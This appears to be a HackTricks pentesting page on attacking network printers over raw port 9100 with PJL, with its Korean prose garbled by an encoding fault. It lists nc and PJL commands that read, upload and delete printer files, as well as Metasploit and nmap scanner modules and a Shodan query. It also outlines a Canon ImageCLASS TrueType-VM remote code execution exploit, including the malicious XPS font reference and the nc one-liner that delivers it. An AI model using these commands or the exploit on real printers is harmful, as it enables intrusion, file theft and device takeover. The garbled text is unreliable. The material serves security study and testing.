9100/tcp - PJL (Printer Job Language)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
From here: Raw printing์ ๋คํธ์ํฌ ํ๋ฆฐํฐ์ port 9100/tcp์ ์ฐ๊ฒฐ์ ์์ฑํ๋ ๊ณผ์ ์ผ๋ก ์ ์๋ฉ๋๋ค. ์ด๋ CUPS์ Windows ํ๋ฆฐํ ์ํคํ ์ฒ๊ฐ ๋คํธ์ํฌ ํ๋ฆฐํฐ์ ํต์ ํ๊ธฐ ์ํด ์ฌ์ฉํ๋ ๊ธฐ๋ณธ ๋ฐฉ๋ฒ์ด๋ฉฐ โํ๋ฆฐํฐ์ ์ฌ์ฉ๋๋ ๊ฐ์ฅ ๋จ์ํ๊ณ ๋น ๋ฅด๋ฉฐ ์ผ๋ฐ์ ์ผ๋ก ๊ฐ์ฅ ์ ๋ขฐํ ์ ์๋ ๋คํธ์ํฌ ํ๋กํ ์ฝโ๋ก ๊ฐ์ฃผ๋ฉ๋๋ค. Raw port 9100 printing์ JetDirect, AppSocket ๋๋ PDL-datastream์ด๋ผ๊ณ ๋ ๋ถ๋ฆฌ๋ฉฐ ์ค์ ๋ก ์์ฒด์ ์ผ๋ก ์ธ์ ํ๋กํ ์ฝ์ด ์๋๋ค. ๋์ ๋ณด๋ด์ง ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ์ธ์ ์ฅ์น์์ ์ง์ ์ฒ๋ฆฌ๋๋ค, TCP๋ฅผ ํตํ ๋ณ๋ ฌ ์ฐ๊ฒฐ๊ณผ ๋ง์ฐฌ๊ฐ์ง๋ก. LPD, IPP ๋ฐ SMB์ ๋ฌ๋ฆฌ, ์ด๋ ์ํ ๋ฐ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํฌํจํ์ฌ ํด๋ผ์ด์ธํธ์๊ฒ ์ง์ ํผ๋๋ฐฑ์ ๋ณด๋ผ ์ ์์ต๋๋ค. ์ด๋ฌํ ์๋ฐฉํฅ ์ฑ๋์ PJL, PostScript ๋๋ PCL ๋ช ๋ น์ ๊ฒฐ๊ณผ์ ๋ํด ์ฐ๋ฆฌ์๊ฒ ์ง์ ์ ์ธ ์ ๊ทผ์ ์ ๊ณตํฉ๋๋ค. ๋ฐ๋ผ์ ๊ฑฐ์ ๋ชจ๋ ๋คํธ์ํฌ ํ๋ฆฐํฐ์์ ์ง์๋๋ raw port 9100 printing์ PRET ๋ฐ PFT๋ฅผ ์ด์ฉํ ๋ณด์ ๋ถ์์ ์ฑ๋๋ก ์ฌ์ฉ๋ฉ๋๋ค.
If you want to learn more about hacking printers read this page.
๊ธฐ๋ณธ ํฌํธ: 9100
9100/tcp open jetdirect
์ด๊ฑฐ
์๋
nc -vn <IP> 9100
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
@PJL INFO ID # ID (Brand an version): Brother HL-L2360D series:84U-F75:Ver.b.26
@PJL INFO PRODINFO #Product info
@PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 #List dir
@PJL INFO VARIABLES #Env variales
@PJL INFO FILESYS #?
@PJL INFO TIMEOUT #Timeout variables
@PJL RDYMSG #Ready message
@PJL FSINIT
@PJL FSDIRLIST
@PJL FSUPLOAD #Useful to upload a file
@PJL FSDOWNLOAD #Useful to download a file
@PJL FSDELETE #Useful to delete a file
์๋
nmap -sV --script pjl-ready-message -p <PORT> <IP>
msf> use auxiliary/scanner/printer/printer_env_vars
msf> use auxiliary/scanner/printer/printer_list_dir
msf> use auxiliary/scanner/printer/printer_list_volumes
msf> use auxiliary/scanner/printer/printer_ready_message
msf> use auxiliary/scanner/printer/printer_version_info
msf> use auxiliary/scanner/printer/printer_download_file
msf> use auxiliary/scanner/printer/printer_upload_file
msf> use auxiliary/scanner/printer/printer_delete_file
ํ๋ฆฐํฐ Hacking ๋๊ตฌ
์ด๋ ํ๋ฆฐํฐ๋ฅผ ์ ์ฉํ๋ ๋ฐ ์ฌ์ฉํ ๋๊ตฌ์ ๋๋ค: PRET
XPS/TrueType VM exploitation (Canon ImageCLASS)
-
PJL์ ํตํด XPS ์ ๋ฌ:
-
@PJL ENTER LANGUAGE = XPS -
๊ทธ๋ฐ ๋ค์ ๋์ผํ TCP ์ฐ๊ฒฐ์์ XPS ZIP ๋ฐ์ดํธ๋ฅผ ์ ์กํ์ธ์.
-
๊ณต๊ฒฉ์ ํฐํธ๋ฅผ ์ฐธ์กฐํ๋ ์ต์ํ์ XPS ํ์ด์ง:
<Glyphs Fill="#ff000000" FontUri="/Resources/evil.ttf" FontRenderingEmSize="12" OriginX="10" OriginY="10"/>
-
RCE ํ๋ฆฌ๋ฏธํฐ๋ธ ์์ฝ (TrueType hinting VM):
-
TTF์ ํํ ๋ฐ์ดํธ์ฝ๋๋ TrueType VM์์ ์คํ๋๋ค. Canon์ VM์๋ stack bounds checks๊ฐ ์์๋ค.
-
CINDEX: OOB stack read โ info leak
-
DELTAP1: unchecked relative stack pivot โ controlled writes with subsequent pushes
-
Combine
WS/RS(VM storage write/read) to stage values and perform a precise 32-bit write after pivot. -
Exploit outline:
- ์ ํ์ด์ง๋ก XPS๋ฅผ ์์ฑํ๊ณ
/Resources/evil.ttf๋ฅผ ํฌํจ์ํจ๋ค. fpgm/prep์์CINDEX๋ฅผ ์ฌ์ฉํด leak๋ฅผ ์ ๋ฐํ๊ณstack_cur๋ฅผ ๊ณ์ฐํ๋ค.WS๋ก ํ๊ฒ ๊ฐ์ ์คํ ์ด์งํ๊ณ ;DELTAP1๋ก ๋ชฉ์ ์ง๋ก pivotํ ๋ค์;RS๋ก ์ด๋ฅผ ์จ์(์: function pointer์) PC control์ ํ๋ํ๋ค.
- Send over 9100/tcp:
{ printf "@PJL ENTER LANGUAGE = XPS\r\n"; cat exploit.xps; } | nc -q0 <PRINTER_IP> 9100
exploit.xps๋Documents/1/Pages/1.fpage๋ฐ/Resources/evil.ttf๋ฅผ ํฌํจํ๋ ์ ํจํ XPS ZIP์ ๋๋ค.
Shodan
pjl port:9100
์ฐธ๊ณ ์๋ฃ
- Hacking printers using fonts (Canon ImageCLASS TrueType VM bugs)
- Apple TrueType Reference Manual โ Instruction Set and VM (26.6 fixed point)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


